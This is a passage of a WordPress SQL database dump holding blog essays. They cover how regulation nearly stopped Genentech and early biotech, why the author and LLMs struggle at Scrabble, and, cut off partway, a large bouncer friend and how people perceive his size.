src=\"https://substackcdn.com/image/fetch/$s_!F6pc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F080014ae-5fef-4281-98b8-c4dba2358bbc_516x646.jpeg\" alt=\"Professor Herbert Boyer | Biographical summary\" title=\"Professor Herbert Boyer | Biographical summary\"/></a><figcaption class=\"wp-element-caption\">This is Herb Boyer at around the time Genentech was founded. I don’t know what you think of when you hear “full-time research professor and co-founder of first biotech company ever”, but probably not this guy. And yes, his personality is supposedly exactly what you’d expect from this picture. He was/is a friendly, boisterous hippie.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Ironically, these modest beginnings proved to be to their advantage. The regulatory fervor around recombinant DNA scared large companies off from pursuing recombinant human insulin, as they could be easily targeted by federal-level, state-level, or city-level regulators. The restrictions that came alongside federal funding hamstrung university labs while pursuing it, as they were forced to do their experiments in ultra-high security bio labs with limited resources and availability.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But Genentech, who privately funded their experiments and did them in a warehouse in South San Francisco, were largely immune to these pressures. The only exposure they had was via universities that they licensed the technology from, which had to be handled by careful contract negotiation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This gave Genentech the freedom to actually prove that they could make human insulin. Once they got to that point, they partnered with Eli Lilly, a much larger pharmaceutical company who had the regulatory expertise to actually get insulin onto the market. But this could only happen once the existential threat of regulation had passed over Genentech’s factory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The parallels to today are obvious, I think. So many of the promising technologies that could make our lives better get strangled in the cradle by fears of what might be. Somehow, when imagined benefits get weighed against imagined downsides, imagined downsides always seem to win out, at least in today’s society.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nobody today would want to go back to a world in which recombinant DNA technology didn’t exist, at least not anybody who’s ever taken any drug besides a small molecule, used any environmentally friendly detergent or biofuel, eaten any genetically modified livestock or plant, or gotten the HPV vaccine. But that’s the world we almost had.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the next time someone tries to ban nuclear power, artificial intelligence, or genetic editing, I’m not saying that you should reject them out of hand. But just understand the world that they’re trying to not let exist. It might be one you would actually like.</p>\n<!-- /wp:paragraph -->','Regulators almost killed biotech before it began','','publish','closed','closed','','regulators-almost-killed-biotech-before-it-began','','','2025-07-03 19:34:58','2025-07-03 19:34:58','',0,'https://trevorklee.com/?page_id=510',0,'page','',0),
(511,1,'2025-07-03 19:34:58','2025-07-03 19:34:58','<!-- wp:paragraph -->\n<p>Most people identify the founding of Genentech to commercialize recombinant DNA technology in 1976 as the founding of biotech as a field separate from pharmaceuticals or the health industry. Genentech brought together so many of the elements of biotechnology we now take for granted:<br><br>1. An exciting new technology that unlocked an entirely new way of treating diseases</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Rapid advancement of the technology from the laboratory to the real world</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Licensing of the technology from the universities where it was discovered</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Close involvement of the professors who invented the technology with a for-profit company</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. Battles for patent rights</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6. Huge sums of money invested by venture capitalists with the promise of huge returns shortly thereafter</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>7. Strategic partnerships with existing pharmaceutical companies</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Before Genentech, none of those elements had ever been in play all at the same time. After Genentech, they happened again and again, with RNAi, CRISPR, and mRNAs. All of this is pretty well-known for people who are into biotech history (i.e. nerds).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What’s less well known is how big a factor regulation played in the founding of Genentech. At least, I personally was unaware of this until reading Sally Smith Hughes’s excellent book&nbsp;<em>Genentech: The Beginnings of Biotech</em>. Put simply, not only did regulations almost destroy Genentech before it began (and therefore biotech as an industry), but Genentech’s success as a company was in large part due to their success at dodging regulations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s difficult, looking back now, to understand what exactly everyone was so afraid of. Genentech’s stated purpose was to figure out how to make recombinant human insulin, or, to use everyone’s metaphor at the time, to make bacteria into factories for human insulin. This was a big deal, because the only sources of insulin prior to this were the pancreases of pigs and cows.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pig and cow insulin wasn’t nearly as good as human insulin, was more likely to cause an allergic reaction, and presented huge amounts of supply chain complexity. Recombinant human insulin was almost certainly going to be an improvement on every front, and, when it came on the market, it instantly was. Within a decade of synthetic human insulin’s approval, most patients switched to synthetic human insulin. Now, well over 99% of patients use synthetic human insulin, and diabetics are much better off for it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>All of these advantages were foreseen from the very beginning. And yet, from the very first announcement of successes in cloning DNA (the foundational technology of recombinant insulin) in 1973, the first reaction of the National Academy of Sciences and the National Institute of Medicine was to try to stop research into it and, simultaneously, to prevent any patenting of it. The National Institute of Health followed shortly thereafter with their own restrictions, as did a number of cities, including Cambridge and Berkeley, the towns where the universities most likely to do the research were located. Fears of superbugs, genetic chimeras, and companies owning life itself abounded (and still do, to be fair).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This was the environment that Genentech started in as a tiny company with only a few hundred thousand in funding. Their only real asset was their scientific co-founder, Herb Boyer, a professor who was one of the two pioneers of the field, although that advantage was mitigated by the fact that he had a full-time job as a research professor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!F6pc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F080014ae-5fef-4281-98b8-c4dba2358bbc_516x646.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!F6pc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F080014ae-5fef-4281-98b8-c4dba2358bbc_516x646.jpeg\" alt=\"Professor Herbert Boyer | Biographical summary\" title=\"Professor Herbert Boyer | Biographical summary\"/></a><figcaption class=\"wp-element-caption\">This is Herb Boyer at around the time Genentech was founded. I don’t know what you think of when you hear “full-time research professor and co-founder of first biotech company ever”, but probably not this guy. And yes, his personality is supposedly exactly what you’d expect from this picture. He was/is a friendly, boisterous hippie.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Ironically, these modest beginnings proved to be to their advantage. The regulatory fervor around recombinant DNA scared large companies off from pursuing recombinant human insulin, as they could be easily targeted by federal-level, state-level, or city-level regulators. The restrictions that came alongside federal funding hamstrung university labs while pursuing it, as they were forced to do their experiments in ultra-high security bio labs with limited resources and availability.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But Genentech, who privately funded their experiments and did them in a warehouse in South San Francisco, were largely immune to these pressures. The only exposure they had was via universities that they licensed the technology from, which had to be handled by careful contract negotiation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This gave Genentech the freedom to actually prove that they could make human insulin. Once they got to that point, they partnered with Eli Lilly, a much larger pharmaceutical company who had the regulatory expertise to actually get insulin onto the market. But this could only happen once the existential threat of regulation had passed over Genentech’s factory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The parallels to today are obvious, I think. So many of the promising technologies that could make our lives better get strangled in the cradle by fears of what might be. Somehow, when imagined benefits get weighed against imagined downsides, imagined downsides always seem to win out, at least in today’s society.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nobody today would want to go back to a world in which recombinant DNA technology didn’t exist, at least not anybody who’s ever taken any drug besides a small molecule, used any environmentally friendly detergent or biofuel, eaten any genetically modified livestock or plant, or gotten the HPV vaccine. But that’s the world we almost had.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the next time someone tries to ban nuclear power, artificial intelligence, or genetic editing, I’m not saying that you should reject them out of hand. But just understand the world that they’re trying to not let exist. It might be one you would actually like.</p>\n<!-- /wp:paragraph -->','Regulators almost killed biotech before it began','','inherit','closed','closed','','510-revision-v1','','','2025-07-03 19:34:58','2025-07-03 19:34:58','',510,'https://trevorklee.com/?p=511',0,'revision','',0),
(512,1,'2025-07-03 19:36:00','2025-07-03 19:36:00','<!-- wp:paragraph -->\n<p>If I had to put myself on the shape rotator vs. wordcel spectrum, I’d put myself pretty firmly as a wordcel. Not just shape rotation, but anything visual is difficult for me. In middle school, I got near perfect grades in every class except for art, where I got a C+. This shocked my older brothers, who were unaware that it was even possible to not get an A in that class<a href=\"https://trevorklee.substack.com/p/why-am-i-bad-at-scrabble#footnote-1-154903656\">1</a>. Even my parents, normally strict about grades, let me off the hook for that one because they found it more funny than disappointing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My wordcellitude has continued my entire life. My career is mostly word-focused (lots of emails and documents with a few spreadsheets); my free time is spent on word-focused things (like this essay and the books I read); I spend my time with my friends doing word-focused things (often just chatting/bullshitting). It’s a virtuous cycle: I spend time on words, I’m good at words, so I get better at words. So: why am I not good at Scrabble?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I mean, it’s not like I’m exceptionally bad at Scrabble. I do okay. But you’d think I’d be great at Scrabble. I won vocabulary and spelling championships in my youth. Even now, I would say I have a voluminous vocabulary<a href=\"https://trevorklee.substack.com/p/why-am-i-bad-at-scrabble#footnote-2-154903656\">2</a>&nbsp;and way above average spelling ability. It seems like my skills and knowledge should be huge boosts for my Scrabble ability.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!MWa4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e53983e-0f04-4eb9-bcfd-091aab3858ed_1516x543.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!MWa4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e53983e-0f04-4eb9-bcfd-091aab3858ed_1516x543.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">This is the sole remnant of my brief reign as Connecticut state vocabulary champion. Before me, boundless and bare, the lone and level sands stretch far away.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But they’re not. For some reason, scramble letters up and ask me to form words in columns or rows and my mind goes blank. I find myself relying way too often on 1 point letters and a basic vocabulary. It takes a lot of effort for me to come up with polysyllabic words. It makes me feel like a failure of a wordcel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As a result, I don’t play Scrabble often. This likely has something to do with why I’m not great at Scrabble. But, you know, I’d still expect some crossover between my wordcel skills elsewhere and Scrabble. I mean, my tennis skills have helped me in every racquet sport that I’ve ever tried. My breakdance skills have helped me in every dance I’ve ever tried to learn. Why wouldn’t a large vocabulary and good spelling help me in Scrabble?<br><br>My best answer for this is that Scrabble is not actually a game of wordplay, at least not in the conventional sense. It’s actually possible to be very good at Scrabble without really knowing how to speak at all, like the famous example of&nbsp;<a href=\"https://en.wikipedia.org/wiki/Nigel_Richards_(Scrabble_player)\">the guy who won both the French and Spanish Scrabble championships by simply studying the respective dictionaries for those languages</a>. It’s impossible to imagine someone winning a more traditional wordplay-focused competition, like a crossword competition or a rap battle, in the same way.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One obvious reason for this is that Scrabble asks for words in a different way than you’d see them in any other context. Searching for the right word, spelling words correctly, and making meaningful sentences is a universal feature of languages. Trying to make words out of their component parts is not. In that sense, experience with the language that Scrabble is in does not contribute to one’s skill in Scrabble.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, that doesn’t explain why the same innate characteristics that make me a natural wordcel don’t make me talented at Scrabble. I have always found reading and writing easy. My language skills have always soared beyond my math skills. Every humanities class came easily to me in school.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, I want to propose a different reason why I’m not good at Scrabble: unlike most language games, it’s a bounded system. There are a limited number of words that you can make on your turn, bounded by both the letters available and the Scrabble dictionary itself. This is entirely separate from most language games.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As a result, the associative thinking that I normally use to great effect in language games, combining words and ideas to form clever juxtapositions, runs into problems. Instead, I have to rely on much more bounded, linear thinking: these are the letters in my hand, these are the letters on the board, these are the words in the Scrabble dictionary. Creativity is severely limited.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, if I were to extend further, I think this sort of linear thinking is what I, and other wordcels, struggle with in general. We are great at associative thinking. We draw together thoughts and ideas that you wouldn’t expect would go together, and we’re able to associate them logically in interesting ways. These ways can have bearing on the real world, such as in my scientific endeavors. But we are bad at thinking step-by-step within a ruleset. Math is just one example of this. We are just as bad at board games, chess, many forms of engineering, or, of course, shape rotation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In that sense, we are sort of like LLMs, who are also great at associative thinking, including some that has bearing on the real world, but struggle with straightforward, linear thinking, including math or Scrabble. The question would then be this: LLMs are supposedly bad at logical thinking because of the nature of how they are trained and structured<a href=\"https://trevorklee.substack.com/p/why-am-i-bad-at-scrabble#footnote-3-154903656\">3</a>. However, the difference between me and a Fields Medal winner is not the structure of our brain, or the way we’re trained as children, when a future Fields Medal winner presumably starts showing the mathematical aptitude that I lacked. It’s something about relative sizes of unique parts of our brain, and perhaps the density of certain connections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, what does that mean for us wordcels, me and ChatGPT alike? How close are we, biologically/mechanically to being good at Scrabble? Let me know, because I have some long-held board game grudges to avenge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2\" href=\"https://substackcdn.com/image/fetch/$s_!B2PW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc087342e-7434-4c8f-8b6d-e95f2dd3507e_1395x273.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!B2PW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc087342e-7434-4c8f-8b6d-e95f2dd3507e_1395x273.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">I can’t put screenshots in footnotes, so I had to put it here. I’m just making a point that LLMs aren’t bad at Scrabble because of tokenization, because apparently they have no problem understanding misspelled words.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/why-am-i-bad-at-scrabble#footnote-anchor-1-154903656\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some big part of my poor grade in this class was because I got very sick of drawing the same apple every day, and traced leaves instead. In my defense, the art teacher probably should have actually taught us something about how to draw, instead of just making us draw. Looking at you, Ms. Zweir.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/why-am-i-bad-at-scrabble#footnote-anchor-2-154903656\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Yes, this sesquipedalian description is intentional.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/why-am-i-bad-at-scrabble#footnote-anchor-3-154903656\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And specifically bad at games like Scrabble, because of their tokenization system. However, I’ve found LLMs are remarkably good at understanding misspelled words in a way that doesn’t fit with my understanding of how tokenization is supposed to work. So I don’t buy this explanation. See the screenshot at the end of the article.</p>\n<!-- /wp:paragraph -->','Why am I (and LLMs) so bad at Scrabble?','','publish','closed','closed','','why-am-i-and-llms-so-bad-at-scrabble','','','2025-07-03 19:36:00','2025-07-03 19:36:00','',0,'https://trevorklee.com/?page_id=512',0,'page','',0),
(513,1,'2025-07-03 19:36:00','2025-07-03 19:36:00','<!-- wp:paragraph -->\n<p>If I had to put myself on the shape rotator vs. wordcel spectrum, I’d put myself pretty firmly as a wordcel. Not just shape rotation, but anything visual is difficult for me. In middle school, I got near perfect grades in every class except for art, where I got a C+. This shocked my older brothers, who were unaware that it was even possible to not get an A in that class<a href=\"https://trevorklee.substack.com/p/why-am-i-bad-at-scrabble#footnote-1-154903656\">1</a>. Even my parents, normally strict about grades, let me off the hook for that one because they found it more funny than disappointing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My wordcellitude has continued my entire life. My career is mostly word-focused (lots of emails and documents with a few spreadsheets); my free time is spent on word-focused things (like this essay and the books I read); I spend my time with my friends doing word-focused things (often just chatting/bullshitting). It’s a virtuous cycle: I spend time on words, I’m good at words, so I get better at words. So: why am I not good at Scrabble?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I mean, it’s not like I’m exceptionally bad at Scrabble. I do okay. But you’d think I’d be great at Scrabble. I won vocabulary and spelling championships in my youth. Even now, I would say I have a voluminous vocabulary<a href=\"https://trevorklee.substack.com/p/why-am-i-bad-at-scrabble#footnote-2-154903656\">2</a>&nbsp;and way above average spelling ability. It seems like my skills and knowledge should be huge boosts for my Scrabble ability.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!MWa4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e53983e-0f04-4eb9-bcfd-091aab3858ed_1516x543.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!MWa4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F6e53983e-0f04-4eb9-bcfd-091aab3858ed_1516x543.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">This is the sole remnant of my brief reign as Connecticut state vocabulary champion. Before me, boundless and bare, the lone and level sands stretch far away.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But they’re not. For some reason, scramble letters up and ask me to form words in columns or rows and my mind goes blank. I find myself relying way too often on 1 point letters and a basic vocabulary. It takes a lot of effort for me to come up with polysyllabic words. It makes me feel like a failure of a wordcel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As a result, I don’t play Scrabble often. This likely has something to do with why I’m not great at Scrabble. But, you know, I’d still expect some crossover between my wordcel skills elsewhere and Scrabble. I mean, my tennis skills have helped me in every racquet sport that I’ve ever tried. My breakdance skills have helped me in every dance I’ve ever tried to learn. Why wouldn’t a large vocabulary and good spelling help me in Scrabble?<br><br>My best answer for this is that Scrabble is not actually a game of wordplay, at least not in the conventional sense. It’s actually possible to be very good at Scrabble without really knowing how to speak at all, like the famous example of&nbsp;<a href=\"https://en.wikipedia.org/wiki/Nigel_Richards_(Scrabble_player)\">the guy who won both the French and Spanish Scrabble championships by simply studying the respective dictionaries for those languages</a>. It’s impossible to imagine someone winning a more traditional wordplay-focused competition, like a crossword competition or a rap battle, in the same way.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One obvious reason for this is that Scrabble asks for words in a different way than you’d see them in any other context. Searching for the right word, spelling words correctly, and making meaningful sentences is a universal feature of languages. Trying to make words out of their component parts is not. In that sense, experience with the language that Scrabble is in does not contribute to one’s skill in Scrabble.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, that doesn’t explain why the same innate characteristics that make me a natural wordcel don’t make me talented at Scrabble. I have always found reading and writing easy. My language skills have always soared beyond my math skills. Every humanities class came easily to me in school.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, I want to propose a different reason why I’m not good at Scrabble: unlike most language games, it’s a bounded system. There are a limited number of words that you can make on your turn, bounded by both the letters available and the Scrabble dictionary itself. This is entirely separate from most language games.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As a result, the associative thinking that I normally use to great effect in language games, combining words and ideas to form clever juxtapositions, runs into problems. Instead, I have to rely on much more bounded, linear thinking: these are the letters in my hand, these are the letters on the board, these are the words in the Scrabble dictionary. Creativity is severely limited.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, if I were to extend further, I think this sort of linear thinking is what I, and other wordcels, struggle with in general. We are great at associative thinking. We draw together thoughts and ideas that you wouldn’t expect would go together, and we’re able to associate them logically in interesting ways. These ways can have bearing on the real world, such as in my scientific endeavors. But we are bad at thinking step-by-step within a ruleset. Math is just one example of this. We are just as bad at board games, chess, many forms of engineering, or, of course, shape rotation.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In that sense, we are sort of like LLMs, who are also great at associative thinking, including some that has bearing on the real world, but struggle with straightforward, linear thinking, including math or Scrabble. The question would then be this: LLMs are supposedly bad at logical thinking because of the nature of how they are trained and structured<a href=\"https://trevorklee.substack.com/p/why-am-i-bad-at-scrabble#footnote-3-154903656\">3</a>. However, the difference between me and a Fields Medal winner is not the structure of our brain, or the way we’re trained as children, when a future Fields Medal winner presumably starts showing the mathematical aptitude that I lacked. It’s something about relative sizes of unique parts of our brain, and perhaps the density of certain connections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, what does that mean for us wordcels, me and ChatGPT alike? How close are we, biologically/mechanically to being good at Scrabble? Let me know, because I have some long-held board game grudges to avenge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2\" href=\"https://substackcdn.com/image/fetch/$s_!B2PW!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc087342e-7434-4c8f-8b6d-e95f2dd3507e_1395x273.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!B2PW!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc087342e-7434-4c8f-8b6d-e95f2dd3507e_1395x273.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">I can’t put screenshots in footnotes, so I had to put it here. I’m just making a point that LLMs aren’t bad at Scrabble because of tokenization, because apparently they have no problem understanding misspelled words.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/why-am-i-bad-at-scrabble#footnote-anchor-1-154903656\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some big part of my poor grade in this class was because I got very sick of drawing the same apple every day, and traced leaves instead. In my defense, the art teacher probably should have actually taught us something about how to draw, instead of just making us draw. Looking at you, Ms. Zweir.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/why-am-i-bad-at-scrabble#footnote-anchor-2-154903656\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Yes, this sesquipedalian description is intentional.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/why-am-i-bad-at-scrabble#footnote-anchor-3-154903656\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And specifically bad at games like Scrabble, because of their tokenization system. However, I’ve found LLMs are remarkably good at understanding misspelled words in a way that doesn’t fit with my understanding of how tokenization is supposed to work. So I don’t buy this explanation. See the screenshot at the end of the article.</p>\n<!-- /wp:paragraph -->','Why am I (and LLMs) so bad at Scrabble?','','inherit','closed','closed','','512-revision-v1','','','2025-07-03 19:36:00','2025-07-03 19:36:00','',512,'https://trevorklee.com/?p=513',0,'revision','',0),
(514,1,'2025-07-03 19:36:46','2025-07-03 19:36:46','<!-- wp:paragraph -->\n<p>I have a friend who’s very large. He works as a bouncer, a fact that surprises nobody who meets him. In fact, I’ve literally seen people walk up to him on the street without any provocation and say, “Wow, you’re huge! Are you a bouncer or something?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Despite my friend’s size and profession, he is a nerd, unsurprisingly given that he’s my friend. He runs Linux on his home computer and is great at trivia, especially as it pertains to geography. He’s also a very talented cosplayer.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!NhNh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01b0188f-8ccc-4a47-a78a-5fecaed0f5eb_1050x658.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!NhNh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F01b0188f-8ccc-4a47-a78a-5fecaed0f5eb_1050x658.jpeg\" alt=\"My Neighbor Totoro (1988) - IMDb\" title=\"My Neighbor Totoro (1988) - IMDb\"/></a><figcaption class=\"wp-element-caption\">He hasn’t been Totoro for a cosplay yet, but he has recently been Shrek, King of the Cosmos, and some obscure British cartoon character with a frighteningly huge nose.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>Sometimes I try to get my friend to come with me to the sort of nerdy, Internet-adjacent events I like to go to, like rationalist meetups. He comes occasionally and has a good time meeting random Internet nerds. Still, most of the time he doesn’t come. I asked him why, once, and he said, “Because nerds are scared of me”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I was tempted to disagree with him, but, to be honest, the fact is undeniable. Whereas some guys (often football fans) are enamored with my friend’s size, most nerds are not. I have gone to many nerdy events with him where people are scared to start conversations with him or avoid him altogether.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To be fair, this is not a ridiculous concern on their part. Not only is my friend huge, but he does work as a bouncer and used to fight MMA. He has been in many more physical confrontations than the average person. In terms of people who are physically dangerous at the nerd meetup by their very nature, he is in a rarefied group.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Still, it’s sad, and it doesn’t really make sense in the context of the meetup. My friend is no more likely to punch someone over a debate on AI or role-playing games than I am. What people perceive is that he’s just a lot more likely to seriously hurt someone if he does so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Being aware of that perception is an innate part of my friend’s life, and has been since he was a large child. This awareness is sometimes a burden for him, like when he’s trying to ingratiate himself at an anime convention. It’s sometimes a blessing for him, like when he needs to bar a drunk from entering the bar or when he confidently accepts drinks from strangers at a club, because, “If they were going to pick anyone to rob, why would they pick me?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But that perception is always there. And, because my friend is a reasonable human being, he adjusts his passage through society accordingly. He tries not to scare people or hurt people.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sometimes I imagine, though, what would happen in some sort of body swap situation. If one of the nerds at the rationalist meetup, someone who’s been small and skinny their whole life, were to swap bodies with my friend and suddenly become huge. Perhaps it wouldn’t even have to be someone who’s actually all that small, but someone who was normal sized and just felt small, and always wanted to be huge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Perhaps this body swap would be random, or perhaps it would be in response to 4 years of inflation and a severely miscalculated attempt to hold onto power and then pass it onto an unpopular, unelected, anointed successor. Regardless, I wonder if that skinny or normal-sized nerd would feel the same responsibilities of size as my friend.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, if they would take advantage of this body swap to suddenly act with the freedom they always wanted. I wonder if they’d go charging through crowds of people on the subway to rush to an open seat, parting people before them like Moses. Maybe they’d call out the drug addicts and alcoholics who stagger around Boston Common in the summer, and tell them they’d need to leave, implicitly threatening them in a way they couldn’t before. Maybe they’d just do stupid things, like cut in line at the supermarket and dare people to call them out. They’d probably feel much more liberated than my friend, much more comfortable to take advantage of people’s fear of them or 